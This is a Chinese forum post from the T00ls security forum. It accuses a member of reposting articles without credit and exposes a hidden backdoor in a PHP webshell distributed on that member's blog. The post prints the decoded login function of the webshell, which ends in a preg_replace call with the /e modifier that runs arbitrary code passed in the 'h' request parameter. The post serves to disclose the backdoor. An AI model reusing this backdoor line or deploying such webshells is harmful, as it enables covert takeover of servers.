关于icerain未授权转载引发的简单分析。（已处理） - 论坛事务(Forum Affairs) - T00ls

匿名

#1

过年闲暇时间，看到两贴
https://www.t00ls.com/thread-37955-1-1.html
https://www.t00ls.com/thread-37953-1-1.html
好奇心比较重就看了下icerain的博客
http://www.5kik.com/
一看这个模版风格，提供各种大马下载必然存在后门，不过这个原本和我没关系的。。。
反正闲着看看都转了些什么文章，不想里面居然找到了自己曾在t00ls发过的文章，里面没有
任何一句提到有关作者的任何信息，瞬间火大。想起他提供这么多的webshell，
肯定是留了后门的，只是没有人揭发而已，那我就来分析下他置顶提供的php 大马吧
http://www.5kik.com/phpmuma/475.html
百度网盘下载地址：
https://pan.baidu.com/s/1c1yzFJq
以下是编码过后的代码，解码很简单，过程不表。

再来看看解码后的代码吧：

以上代码为了阅读方法有写地方经过一些格式化，主要看islogin函数

function islogin($shellname,$myurl){

        $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);

        $Server_OS = PHP_OS;

        $Server_Soft = $_SERVER["SERVER_SOFTWARE"];

        $web_server =  php_uname();

print<<<END

<!DOCTYPE html>

<head>

<title>{$Server_IP}-PHPmofshell By:{$shellname}</title>

<style type="text/css">

body{background-color:#000;}

input,select,textarea{font-size: 12px;background-color:#dddddd;border:1px solid #fff}

body,div{font-size: 20px;color:#ddd;}

</style>

</head>

<body scroll=no><div align="center">

<span style="color: #676767;font-family: Tahoma, Geneva, sans-serif;font-size:12px;">

 <b>{$Server_OS}______{$Server_Soft}______{$web_server }</b>



</div>

<div align="center" style="margin-right:70px; margin-bottom:400px;">

<br><br><br><br><form method='post'>PASS：<input name='envlpass' type='password' size='20'> <input type='submit' value='登陆'></form><br><br>

</div>

<center>[<font color="red">+</font>] 国产PHP SHELL，支持mof双组建提权,2003环境测试通过<br />[<font color="red">+</font>] 请登陆后使用<br />[<font color="red">+</font>] 请勿用于非法用途，否则后果自负。<br />[<font color="green">+</font>] PHPmofshell By丫丫 2016.03.07<br />

</center></span>

<body>

</html>

END;

@preg_replace("/[_]/e",$_REQUEST['h'],"__");}

相信大家一眼就能看穿了，也不需要我来多说了。
若有疑问的可自己下载一份前来分析。
主要是要揭发他丑恶的嘴脸，何为丑恶？
管理说是未授权转载都是轻的了，人家转载好歹还会带上作者的署名，他倒好，干干净净，
就跟他自己写的文章一样，这样的行为说未授权简直太好听了，其实就是偷，
再然后t00ls老会员，对于整个t00ls的规则应该也是相当的熟悉，明知故犯简直不要脸，
对于websehll里藏后门这样的事情更是我安全圈内的一颗毒瘤！！对于这样事情毫不犹豫的揭发。